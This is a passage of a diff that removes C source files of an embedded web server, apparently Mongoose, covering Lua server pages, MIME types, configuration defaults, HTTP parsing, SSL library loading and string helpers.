src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
ri->request_method ? ri->request_method : "-",
ri->uri ? ri->uri : "-", ri->http_version,
conn->status_code, conn->num_bytes_sent);
log_header(conn, "Referer", fp);
log_header(conn, "User-Agent", fp);
fputc('\n', fp);
fflush(fp);
funlockfile(fp);
fclose(fp);
}
-390
View File
@@ -1,390 +0,0 @@
#include "internal.h"
#ifdef USE_LUA
#ifdef _WIN32
static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
int offset) {
HANDLE fh = (HANDLE) _get_osfhandle(fd);
HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
CloseHandle(mh);
return p;
}
#define munmap(x, y) UnmapViewOfFile(x)
#define MAP_FAILED NULL
#define MAP_PRIVATE 0
#define PROT_READ 0
#else
#include <sys/mman.h>
#endif
static const char *LUASOCKET = "luasocket";
// Forward declarations
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
static void reg_string(struct lua_State *L, const char *name, const char *val) {
lua_pushstring(L, name);
lua_pushstring(L, val);
lua_rawset(L, -3);
}
static void reg_int(struct lua_State *L, const char *name, int val) {
lua_pushstring(L, name);
lua_pushinteger(L, val);
lua_rawset(L, -3);
}
static void reg_function(struct lua_State *L, const char *name,
lua_CFunction func, struct mg_connection *conn) {
lua_pushstring(L, name);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, func, 1);
lua_rawset(L, -3);
}
static int lsp_sock_close(lua_State *L) {
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
closesocket((SOCKET) lua_tonumber(L, -1));
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_recv(lua_State *L) {
char buf[2000];
int n;
if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
lua_getfield(L, -1, "sock");
n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
if (n <= 0) {
lua_pushnil(L);
} else {
lua_pushlstring(L, buf, n);
}
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static int lsp_sock_send(lua_State *L) {
const char *buf;
size_t len, sent = 0;
int n, sock;
if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
buf = lua_tolstring(L, -1, &len);
lua_getfield(L, -2, "sock");
sock = (int) lua_tonumber(L, -1);
while (sent < len) {
if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
break;
}
sent += n;
}
lua_pushnumber(L, n);
} else {
return luaL_error(L, "invalid :close() call");
}
return 1;
}
static const struct luaL_Reg luasocket_methods[] = {
{"close", lsp_sock_close},
{"send", lsp_sock_send},
{"recv", lsp_sock_recv},
{NULL, NULL}
};
static int lsp_connect(lua_State *L) {
char ebuf[100];
SOCKET sock;
if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
(int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
if (sock == INVALID_SOCKET) {
return luaL_error(L, ebuf);
} else {
lua_newtable(L);
reg_int(L, "sock", sock);
reg_string(L, "host", lua_tostring(L, -4));
luaL_getmetatable(L, LUASOCKET);
lua_setmetatable(L, -2);
}
} else {
return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
}
return 1;
}
static int lsp_error(lua_State *L) {
lua_getglobal(L, "mg");
lua_getfield(L, -1, "onerror");
lua_pushvalue(L, -3);
lua_pcall(L, 1, 0, 0);
return 0;
}
// Silently stop processing chunks.
static void lsp_abort(lua_State *L) {
int top = lua_gettop(L);
lua_getglobal(L, "mg");
lua_pushnil(L);
lua_setfield(L, -2, "onerror");
lua_settop(L, top);
lua_pushstring(L, "aborting");
lua_error(L);
}
static int lsp(struct mg_connection *conn, const char *path,
const char *p, int64_t len, lua_State *L) {
int i, j, pos = 0, lines = 1, lualines = 0;
char chunkname[MG_BUF_LEN];
for (i = 0; i < len; i++) {
if (p[i] == '\n') lines++;
if (p[i] == '<' && p[i + 1] == '?') {
for (j = i + 1; j < len ; j++) {
if (p[j] == '\n') lualines++;
if (p[j] == '?' && p[j + 1] == '>') {
mg_write(conn, p + pos, i - pos);
snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
lua_pushlightuserdata(L, conn);
lua_pushcclosure(L, lsp_error, 1);
if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
// Syntax error or OOM. Error message is pushed on stack.
lua_pcall(L, 1, 0, 0);
} else {
// Success loading chunk. Call it.
lua_pcall(L, 0, 0, 1);
}
pos = j + 2;
i = pos - 1;
break;
}
}
if (lualines > 0) {
lines += lualines;
lualines = 0;
}
}
}
if (i > pos) {
mg_write(conn, p + pos, i - pos);
}
return 0;
}
static int lsp_write(lua_State *L) {
int i, num_args;
const char *str;
size_t size;
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
num_args = lua_gettop(L);
for (i = 1; i <= num_args; i++) {
if (lua_isstring(L, i)) {
str = lua_tolstring(L, i, &size);
mg_write(conn, str, size);
}
}
return 0;
}
static int lsp_read(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
char buf[1024];
int len = mg_read(conn, buf, sizeof(buf));
if (len <= 0) return 0;
lua_pushlstring(L, buf, len);
return 1;
}
// mg.include: Include another .lp file
static int lsp_include(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
struct file file = STRUCT_FILE_INITIALIZER;
if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
// handle_lsp_request returned an error code, meaning an error occured in
// the included page and mg.onerror returned non-zero. Stop processing.
lsp_abort(L);
}
return 0;
}
// mg.cry: Log an error. Default value for mg.onerror.
static int lsp_cry(lua_State *L){
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
cry(conn, "%s", lua_tostring(L, -1));
return 0;
}
// mg.redirect: Redirect the request (internally).
static int lsp_redirect(lua_State *L) {
struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
conn->request_info.uri = lua_tostring(L, -1);
handle_request(conn);
lsp_abort(L);
return 0;
}
static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
const struct mg_request_info *ri = &conn->request_info;
extern void luaL_openlibs(lua_State *);
int i;
luaL_openlibs(L);
#ifdef USE_LUA_SQLITE3
{ extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
#endif
luaL_newmetatable(L, LUASOCKET);
lua_pushliteral(L, "__index");
luaL_newlib(L, luasocket_methods);
lua_rawset(L, -3);
lua_pop(L, 1);
lua_register(L, "connect", lsp_connect);
if (conn == NULL) return;
// Register mg module
lua_newtable(L);
reg_function(L, "read", lsp_read, conn);
reg_function(L, "write", lsp_write, conn);
reg_function(L, "cry", lsp_cry, conn);
reg_function(L, "include", lsp_include, conn);
reg_function(L, "redirect", lsp_redirect, conn);
reg_string(L, "version", MONGOOSE_VERSION);
// Export request_info
lua_pushstring(L, "request_info");
lua_newtable(L);
reg_string(L, "request_method", ri->request_method);
reg_string(L, "uri", ri->uri);
reg_string(L, "http_version", ri->http_version);
reg_string(L, "query_string", ri->query_string);
reg_int(L, "remote_ip", ri->remote_ip);
reg_int(L, "remote_port", ri->remote_port);
reg_int(L, "num_headers", ri->num_headers);
lua_pushstring(L, "http_headers");
lua_newtable(L);
for (i = 0; i < ri->num_headers; i++) {
reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
}
lua_rawset(L, -3);
lua_rawset(L, -3);
lua_setglobal(L, "mg");
// Register default mg.onerror function
luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
"debug.traceback(e, 1)) end");
}
static int lua_error_handler(lua_State *L) {
const char *error_msg = lua_isstring(L, -1) ? lua_tostring(L, -1) : "?\n";
lua_getglobal(L, "mg");
if (!lua_isnil(L, -1)) {
lua_getfield(L, -1, "write"); // call mg.write()
lua_pushstring(L, error_msg);
lua_pushliteral(L, "\n");
lua_call(L, 2, 0);
luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
} else {
printf("Lua error: [%s]\n", error_msg);
luaL_dostring(L, "print(debug.traceback(), '\\n')");
}
// TODO(lsm): leave the stack balanced
return 0;
}
void mg_exec_lua_script(struct mg_connection *conn, const char *path,
const void **exports) {
int i;
lua_State *L;
if (path != NULL && (L = luaL_newstate()) != NULL) {
prepare_lua_environment(conn, L);
lua_pushcclosure(L, &lua_error_handler, 0);
lua_pushglobaltable(L);
if (exports != NULL) {
for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
lua_pushstring(L, exports[i]);
lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
lua_rawset(L, -3);
}
}
if (luaL_loadfile(L, path) != 0) {
lua_error_handler(L);
}
lua_pcall(L, 0, 0, -2);
lua_close(L);
}
}
static void lsp_send_err(struct mg_connection *conn, struct lua_State *L,
const char *fmt, ...) {
char buf[MG_BUF_LEN];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (L == NULL) {
send_http_error(conn, 500, http_500_error, "%s", buf);
} else {
lua_pushstring(L, buf);
lua_error(L);
}
}
static int handle_lsp_request(struct mg_connection *conn, const char *path,
struct file *filep, struct lua_State *ls) {
void *p = NULL;
lua_State *L = NULL;
FILE *fp = NULL;
int error = 1;
// We need both mg_stat to get file size, and mg_fopen to get fd
if (!mg_stat(path, filep) || (fp = mg_fopen(path, "r")) == NULL) {
lsp_send_err(conn, ls, "File [%s] not found", path);
} else if ((p = mmap(NULL, (size_t) filep->size, PROT_READ, MAP_PRIVATE,
fileno(fp), 0)) == MAP_FAILED) {
lsp_send_err(conn, ls, "mmap(%s, %zu, %d): %s", path, (size_t) filep->size,
fileno(fp), strerror(errno));
} else if ((L = ls != NULL ? ls : luaL_newstate()) == NULL) {
send_http_error(conn, 500, http_500_error, "%s", "luaL_newstate failed");
} else {
// We're not sending HTTP headers here, Lua page must do it.
if (ls == NULL) {
prepare_lua_environment(conn, L);
}
error = lsp(conn, path, p, filep->size, L);
}
if (L != NULL && ls == NULL) lua_close(L);
if (p != NULL) munmap(p, filep->size);
fclose(fp);
return error;
}
#endif // USE_LUA
-67
View File
@@ -1,67 +0,0 @@
#include "internal.h"
// Print message to buffer. If buffer is large enough to hold the message,
// return buffer. If buffer is to small, allocate large enough buffer on heap,
// and return allocated buffer.
static int alloc_vprintf(char **buf, size_t size, const char *fmt, va_list ap) {
va_list ap_copy;
int len;
// Windows is not standard-compliant, and vsnprintf() returns -1 if
// buffer is too small. Also, older versions of msvcrt.dll do not have
// _vscprintf(). However, if size is 0, vsnprintf() behaves correctly.
// Therefore, we make two passes: on first pass, get required message length.
// On second pass, actually print the message.
va_copy(ap_copy, ap);
len = vsnprintf(NULL, 0, fmt, ap_copy);
if (len > (int) size &&
(size = len + 1) > 0 &&
(*buf = (char *) malloc(size)) == NULL) {
len = -1; // Allocation failed, mark failure
} else {
va_copy(ap_copy, ap);
vsnprintf(*buf, size, fmt, ap_copy);
}
return len;
}
int mg_vprintf(struct mg_connection *conn, const char *fmt, va_list ap) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_write(conn, buf, (size_t) len);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
int mg_printf(struct mg_connection *conn, const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
return mg_vprintf(conn, fmt, ap);
}
static int mg_chunked_printf(struct mg_connection *conn, const char *fmt, ...) {
char mem[MG_BUF_LEN], *buf = mem;
int len;
va_list ap;
va_start(ap, fmt);
if ((len = alloc_vprintf(&buf, sizeof(mem), fmt, ap)) > 0) {
len = mg_printf(conn, "%X\r\n%s\r\n", len, buf);
}
if (buf != mem && buf != NULL) {
free(buf);
}
return len;
}
-99
View File
@@ -1,99 +0,0 @@
#include "internal.h"
static const struct {
const char *extension;
size_t ext_len;
const char *mime_type;
} builtin_mime_types[] = {
{".html", 5, "text/html"},
{".htm", 4, "text/html"},
{".shtm", 5, "text/html"},
{".shtml", 6, "text/html"},
{".css", 4, "text/css"},
{".js", 3, "application/x-javascript"},
{".ico", 4, "image/x-icon"},
{".gif", 4, "image/gif"},
{".jpg", 4, "image/jpeg"},
{".jpeg", 5, "image/jpeg"},
{".png", 4, "image/png"},
{".svg", 4, "image/svg+xml"},
{".txt", 4, "text/plain"},
{".torrent", 8, "application/x-bittorrent"},
{".wav", 4, "audio/x-wav"},
{".mp3", 4, "audio/x-mp3"},
{".mid", 4, "audio/mid"},
{".m3u", 4, "audio/x-mpegurl"},
{".ogg", 4, "application/ogg"},
{".ram", 4, "audio/x-pn-realaudio"},
{".xml", 4, "text/xml"},
{".json", 5, "text/json"},
{".xslt", 5, "application/xml"},
{".xsl", 4, "application/xml"},
{".ra", 3, "audio/x-pn-realaudio"},
{".doc", 4, "application/msword"},
{".exe", 4, "application/octet-stream"},
{".zip", 4, "application/x-zip-compressed"},
{".xls", 4, "application/excel"},
{".tgz", 4, "application/x-tar-gz"},
{".tar", 4, "application/x-tar"},
{".gz", 3, "application/x-gunzip"},
{".arj", 4, "application/x-arj-compressed"},
{".rar", 4, "application/x-arj-compressed"},
{".rtf", 4, "application/rtf"},
{".pdf", 4, "application/pdf"},
{".swf", 4, "application/x-shockwave-flash"},
{".mpg", 4, "video/mpeg"},
{".webm", 5, "video/webm"},
{".mpeg", 5, "video/mpeg"},
{".mov", 4, "video/quicktime"},
{".mp4", 4, "video/mp4"},
{".m4v", 4, "video/x-m4v"},
{".asf", 4, "video/x-ms-asf"},
{".avi", 4, "video/x-msvideo"},
{".bmp", 4, "image/bmp"},
{".ttf", 4, "application/x-font-ttf"},
{NULL, 0, NULL}
};
const char *mg_get_builtin_mime_type(const char *path) {
const char *ext;
size_t i, path_len;
path_len = strlen(path);
for (i = 0; builtin_mime_types[i].extension != NULL; i++) {
ext = path + (path_len - builtin_mime_types[i].ext_len);
if (path_len > builtin_mime_types[i].ext_len &&
mg_strcasecmp(ext, builtin_mime_types[i].extension) == 0) {
return builtin_mime_types[i].mime_type;
}
}
return "text/plain";
}
// Look at the "path" extension and figure what mime type it has.
// Store mime type in the vector.
static void get_mime_type(struct mg_context *ctx, const char *path,
struct vec *vec) {
struct vec ext_vec, mime_vec;
const char *list, *ext;
size_t path_len;
path_len = strlen(path);
// Scan user-defined mime types first, in case user wants to
// override default mime types.
list = ctx->config[EXTRA_MIME_TYPES];
while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
// ext now points to the path suffix
ext = path + path_len - ext_vec.len;
if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
*vec = mime_vec;
return;
}
}
vec->ptr = mg_get_builtin_mime_type(path);
vec->len = strlen(vec->ptr);
}
-1420
View File
File diff suppressed because it is too large. Load diff
-56
View File
@@ -1,56 +0,0 @@
#include "internal.h"
// This array must be in sync with enum in internal.h
static const char *config_options[] = {
"cgi_pattern", "**.cgi$|**.pl$|**.php$",
"cgi_environment", NULL,
"put_delete_auth_file", NULL,
"cgi_interpreter", NULL,
"protect_uri", NULL,
"authentication_domain", "mydomain.com",
"ssi_pattern", "**.shtml$|**.shtm$",
"access_log_file", NULL,
"enable_directory_listing", "yes",
"error_log_file", NULL,
"global_auth_file", NULL,
"index_files",
"index.html,index.htm,index.cgi,index.shtml,index.php,index.lp",
"enable_keep_alive", "no",
"access_control_list", NULL,
"extra_mime_types", NULL,
"listening_ports", "8080",
"document_root", NULL,
"ssl_certificate", NULL,
"num_threads", "50",
"run_as_user", NULL,
"url_rewrite_patterns", NULL,
"hide_files_patterns", NULL,
"request_timeout_ms", "30000",
NULL
};
const char **mg_get_valid_option_names(void) {
return config_options;
}
static int get_option_index(const char *name) {
int i;
for (i = 0; config_options[i * 2] != NULL; i++) {
if (strcmp(config_options[i * 2], name) == 0) {
return i;
}
}
return -1;
}
const char *mg_get_option(const struct mg_context *ctx, const char *name) {
int i;
if ((i = get_option_index(name)) == -1) {
return NULL;
} else if (ctx->config[i] == NULL) {
return "";
} else {
return ctx->config[i];
}
}
-49
View File
@@ -1,49 +0,0 @@
#include "internal.h"
static const char *month_names[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
// Convert month to the month number. Return -1 on error, or month number
static int get_month_index(const char *s) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(month_names); i++)
if (!strcmp(s, month_names[i]))
return i;
return -1;
}
static int num_leap_years(int year) {
return year / 4 - year / 100 + year / 400;
}
// Parse UTC date-time string, and return the corresponding time_t value.
static time_t parse_date_string(const char *datetime) {
static const unsigned short days_before_month[] = {
0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334
};
char month_str[32];
int second, minute, hour, day, month, year, leap_days, days;
time_t result = (time_t) 0;
if (((sscanf(datetime, "%d/%3s/%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%*3s, %d %3s %d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6) ||
(sscanf(datetime, "%d-%3s-%d %d:%d:%d",
&day, month_str, &year, &hour, &minute, &second) == 6)) &&
year > 1970 &&
(month = get_month_index(month_str)) != -1) {
leap_days = num_leap_years(year) - num_leap_years(1970);
year -= 1970;
days = year * 365 + days_before_month[month] + (day - 1) + leap_days;
result = days * 24 * 3600 + hour * 3600 + minute * 60 + second;
}
return result;
}
-63
View File
@@ -1,63 +0,0 @@
#include "internal.h"
// Parse HTTP headers from the given buffer, advance buffer to the point
// where parsing stopped.
static void parse_http_headers(char **buf, struct mg_request_info *ri) {
int i;
for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
ri->http_headers[i].value = skip(buf, "\r\n");
if (ri->http_headers[i].name[0] == '\0')
break;
ri->num_headers = i + 1;
}
}
static int is_valid_http_method(const char *method) {
return !strcmp(method, "GET") || !strcmp(method, "POST") ||
!strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
!strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
!strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND")
|| !strcmp(method, "MKCOL");
}
// Parse HTTP request, fill in mg_request_info structure.
// This function modifies the buffer by NUL-terminating
// HTTP request components, header names and header values.
static int parse_http_message(char *buf, int len, struct mg_request_info *ri) {
int is_request, request_length = get_request_len(buf, len);
if (request_length > 0) {
// Reset attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
ri->remote_user = ri->request_method = ri->uri = ri->http_version = NULL;
ri->num_headers = 0;
buf[request_length - 1] = '\0';
// RFC says that all initial whitespaces should be ingored
while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
buf++;
}
ri->request_method = skip(&buf, " ");
ri->uri = skip(&buf, " ");
ri->http_version = skip(&buf, "\r\n");
// HTTP message could be either HTTP request or HTTP response, e.g.
// "GET / HTTP/1.0 ...." or "HTTP/1.0 200 OK ..."
is_request = is_valid_http_method(ri->request_method);
if ((is_request && memcmp(ri->http_version, "HTTP/", 5) != 0) ||
(!is_request && memcmp(ri->request_method, "HTTP/", 5) != 0)) {
request_length = -1;
} else {
if (is_request) {
ri->http_version += 5;
}
parse_http_headers(&buf, ri);
}
}
return request_length;
}
static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
}
-178
View File
@@ -1,178 +0,0 @@
#include "internal.h"
#if !defined(NO_SSL)
// set_ssl_option() function updates this array.
// It loads SSL library dynamically and changes NULLs to the actual addresses
// of respective functions. The macros above (like SSL_connect()) are really
// just calling these functions indirectly via the pointer.
static struct ssl_func ssl_sw[] = {
{"SSL_free", NULL},
{"SSL_accept", NULL},
{"SSL_connect", NULL},
{"SSL_read", NULL},
{"SSL_write", NULL},
{"SSL_get_error", NULL},
{"SSL_set_fd", NULL},
{"SSL_new", NULL},
{"SSL_CTX_new", NULL},
{"SSLv23_server_method", NULL},
{"SSL_library_init", NULL},
{"SSL_CTX_use_PrivateKey_file", NULL},
{"SSL_CTX_use_certificate_file",NULL},
{"SSL_CTX_set_default_passwd_cb",NULL},
{"SSL_CTX_free", NULL},
{"SSL_load_error_strings", NULL},
{"SSL_CTX_use_certificate_chain_file", NULL},
{"SSLv23_client_method", NULL},
{"SSL_pending", NULL},
{"SSL_CTX_set_verify", NULL},
{"SSL_shutdown", NULL},
{NULL, NULL}
};
// Similar array as ssl_sw. These functions could be located in different lib.
static struct ssl_func crypto_sw[] = {
{"CRYPTO_num_locks", NULL},
{"CRYPTO_set_locking_callback", NULL},
{"CRYPTO_set_id_callback", NULL},
{"ERR_get_error", NULL},
{"ERR_error_string", NULL},
{NULL, NULL}
};
static pthread_mutex_t *ssl_mutexes;
static int sslize(struct mg_connection *conn, SSL_CTX *s, int (*func)(SSL *)) {
return (conn->ssl = SSL_new(s)) != NULL &&
SSL_set_fd(conn->ssl, conn->client.sock) == 1 &&
func(conn->ssl) == 1;
}
// Return OpenSSL error message
static const char *ssl_error(void) {
unsigned long err;
err = ERR_get_error();
return err == 0 ? "" : ERR_error_string(err, NULL);
}
static void ssl_locking_callback(int mode, int mutex_num, const char *file,
int line) {
(void) line;
(void) file;
if (mode & 1) { // 1 is CRYPTO_LOCK
(void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
} else {
(void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
}
}
static unsigned long ssl_id_callback(void) {
return (unsigned long) pthread_self();
}
#if !defined(NO_SSL_DL)
static int load_dll(struct mg_context *ctx, const char *dll_name,
struct ssl_func *sw) {
union {void *p; void (*fp)(void);} u;
void *dll_handle;
struct ssl_func *fp;
if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
return 0;
}
for (fp = sw; fp->name != NULL; fp++) {
#ifdef _WIN32
// GetProcAddress() returns pointer to function
u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
#else
// dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
// function pointers. We need to use a union to make a cast.
u.p = dlsym(dll_handle, fp->name);
#endif // _WIN32
if (u.fp == NULL) {
cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
return 0;
} else {
fp->ptr = u.fp;
}
}
return 1;
}
#endif // NO_SSL_DL
// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
static int set_ssl_option(struct mg_context *ctx) {
int i, size;
const char *pem;
// If PEM file is not specified and the init_ssl callback
// is not specified, skip SSL initialization.
if ((pem = ctx->config[SSL_CERTIFICATE]) == NULL) {
// MG_INIT_SSL
// ctx->callbacks.init_ssl == NULL) {
return 1;
}
#if !defined(NO_SSL_DL)
if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
!load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
return 0;
}
#endif // NO_SSL_DL
// Initialize SSL library
SSL_library_init();
SSL_load_error_strings();
if ((ctx->ssl_ctx = SSL_CTX_new(SSLv23_server_method())) == NULL) {
cry(fc(ctx), "SSL_CTX_new (server) error: %s", ssl_error());
return 0;
}
// If user callback returned non-NULL, that means that user callback has
// set up certificate itself. In this case, skip sertificate setting.
// MG_INIT_SSL
if (SSL_CTX_use_certificate_file(ctx->ssl_ctx, pem, 1) == 0 ||
SSL_CTX_use_PrivateKey_file(ctx->ssl_ctx, pem, 1) == 0) {
cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
return 0;
}
if (pem != NULL) {
(void) SSL_CTX_use_certificate_chain_file(ctx->ssl_ctx, pem);
}
// Initialize locking callbacks, needed for thread safety.
// http://www.openssl.org/support/faq.html#PROG1
size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
return 0;
}
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_init(&ssl_mutexes[i], NULL);
}
CRYPTO_set_locking_callback(&ssl_locking_callback);
CRYPTO_set_id_callback(&ssl_id_callback);
return 1;
}
static void uninitialize_ssl(struct mg_context *ctx) {
int i;
if (ctx->ssl_ctx != NULL) {
CRYPTO_set_locking_callback(NULL);
for (i = 0; i < CRYPTO_num_locks(); i++) {
pthread_mutex_destroy(&ssl_mutexes[i]);
}
CRYPTO_set_locking_callback(NULL);
CRYPTO_set_id_callback(NULL);
}
}
#endif // !NO_SSL
-423
View File
@@ -1,423 +0,0 @@
#include "internal.h"
static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
for (; *src != '\0' && n > 1; n--) {
*dst++ = *src++;
}
*dst = '\0';
}
static int lowercase(const char *s) {
return tolower(* (const unsigned char *) s);
}
static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
int diff = 0;
if (len > 0)
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0' && --len > 0);
return diff;
}
static int mg_strcasecmp(const char *s1, const char *s2) {
int diff;
do {
diff = lowercase(s1++) - lowercase(s2++);
} while (diff == 0 && s1[-1] != '\0');
return diff;
}
static char * mg_strndup(const char *ptr, size_t len) {
char *p;
if ((p = (char *) malloc(len + 1)) != NULL) {
mg_strlcpy(p, ptr, len + 1);
}
return p;
}
static char * mg_strdup(const char *str) {
return mg_strndup(str, strlen(str));
}
static const char *mg_strcasestr(const char *big_str, const char *small_str) {
int i, big_len = strlen(big_str), small_len = strlen(small_str);
for (i = 0; i <= big_len - small_len; i++) {
if (mg_strncasecmp(big_str + i, small_str, small_len) == 0) {
return big_str + i;
}
}
return NULL;
}
// Like snprintf(), but never returns negative value, or a value
// that is larger than a supplied buffer.
// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
// in his audit report.
static int mg_vsnprintf(char *buf, size_t buflen, const char *fmt, va_list ap) {
int n;
if (buflen == 0) {
return 0;
}
n = vsnprintf(buf, buflen, fmt, ap);
if (n < 0) {
n = 0;
} else if (n >= (int) buflen) {
n = (int) buflen - 1;
}
buf[n] = '\0';
return n;
}
static int mg_snprintf(char *buf, size_t buflen,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(3, 4);
static int mg_snprintf(char *buf, size_t buflen, const char *fmt, ...) {
va_list ap;
int n;
va_start(ap, fmt);
n = mg_vsnprintf(buf, buflen, fmt, ap);
va_end(ap);
return n;
}
// Skip the characters until one of the delimiters characters found.
// 0-terminate resulting word. Skip the delimiter and following whitespaces.
// Advance pointer to buffer to the next word. Return found 0-terminated word.
// Delimiters can be quoted with quotechar.
static char *skip_quoted(char **buf, const char *delimiters,
const char *whitespace, char quotechar) {
char *p, *begin_word, *end_word, *end_whitespace;
begin_word = *buf;
end_word = begin_word + strcspn(begin_word, delimiters);
// Check for quotechar
if (end_word > begin_word) {
p = end_word - 1;
while (*p == quotechar) {
// If there is anything beyond end_word, copy it
if (*end_word == '\0') {
*p = '\0';
break;
} else {
size_t end_off = strcspn(end_word + 1, delimiters);
memmove (p, end_word, end_off + 1);
p += end_off; // p must correspond to end_word - 1
end_word += end_off + 1;
}
}
for (p++; p < end_word; p++) {
*p = '\0';
}
}
if (*end_word == '\0') {
*buf = end_word;
} else {
end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
for (p = end_word; p < end_whitespace; p++) {
*p = '\0';
}
*buf = end_whitespace;
}
return begin_word;
}
// Simplified version of skip_quoted without quote char
// and whitespace == delimiters
static char *skip(char **buf, const char *delimiters) {
return skip_quoted(buf, delimiters, delimiters, 0);
}
// Return HTTP header value, or NULL if not found.
static const char *get_header(const struct mg_request_info *ri,
const char *name) {
int i;
for (i = 0; i < ri->num_headers; i++)
if (!mg_strcasecmp(name, ri->http_headers[i].name))
return ri->http_headers[i].value;
return NULL;
}
const char *mg_get_header(const struct mg_connection *conn, const char *name) {
return get_header(&conn->request_info, name);
}
// A helper function for traversing a comma separated list of values.
// It returns a list pointer shifted to the next value, or NULL if the end
// of the list found.
// Value is stored in val vector. If value has form "x=y", then eq_val
// vector is initialized to point to the "y" part, and val vector length
// is adjusted to point only to "x".
static const char *next_option(const char *list, struct vec *val,
struct vec *eq_val) {
if (list == NULL || *list == '\0') {
// End of the list
list = NULL;
} else {
val->ptr = list;
if ((list = strchr(val->ptr, ',')) != NULL) {
// Comma found. Store length and shift the list ptr
val->len = list - val->ptr;
list++;
} else {
// This value is the last one
list = val->ptr + strlen(val->ptr);
val->len = list - val->ptr;
}
if (eq_val != NULL) {
// Value has form "x=y", adjust pointers and lengths
// so that val points to "x", and eq_val points to "y".
eq_val->len = 0;
eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
if (eq_val->ptr != NULL) {
eq_val->ptr++; // Skip over '=' character
eq_val->len = val->ptr + val->len - eq_val->ptr;
val->len = (eq_val->ptr - val->ptr) - 1;
}
}
}
return list;
}
// Perform case-insensitive match of string against pattern
static int match_prefix(const char *pattern, int pattern_len, const char *str) {
const char *or_str;
int i, j, len, res;
if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
res = match_prefix(pattern, or_str - pattern, str);
return res > 0 ? res :
match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
}
i = j = 0;
res = -1;
